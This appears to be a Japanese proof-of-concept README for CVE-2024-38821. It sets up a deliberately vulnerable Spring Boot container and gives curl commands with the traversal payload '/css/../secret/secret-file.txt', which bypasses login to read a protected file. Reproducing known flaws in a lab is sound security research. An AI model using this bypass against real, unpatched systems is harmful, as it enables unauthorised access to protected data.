
これは CVE-2024-38821 脆弱性の概念実証です。
Docker イメージをビルドします(Spring Boot 3.3.4、Spring Framework 6.1.13 ベース)
cd vuln
docker build -t cve-2024-38821-poc .
コンテナを起動し、ポート8080をホストマシンに公開します
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
次のコマンドを使用してPoCを実行し、脆弱性を確認します
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
攻撃が成功すると、レスポンスに This is a secret file. と表示されます。
アクセス権限を設定するために SecurityConfig.java を作成します:
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
次のペイロードを作成します。ペイロードは /css/ で始まるため、許可されたパスパターンに一致します。/secret/ で始まらないため、認証が必要なパスパターンには一致しません:
/css/../secret/secret-file.txt次の curl コマンドを使用してPoCを実行し、攻撃が成功するか確認します:
# Note: The --path-as-is option is required to send the request without URL normalization.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
攻撃が成功すると、レスポンスに This is a secret file. と表示されます。
このPoCは教育およびセキュリティ研究を目的として提供されています。実際のシステムで使用する前に、脆弱性が修正されていることと、適切な許可を得ていることを確認してください。著者は、このコードの誤用について一切の責任を負いません。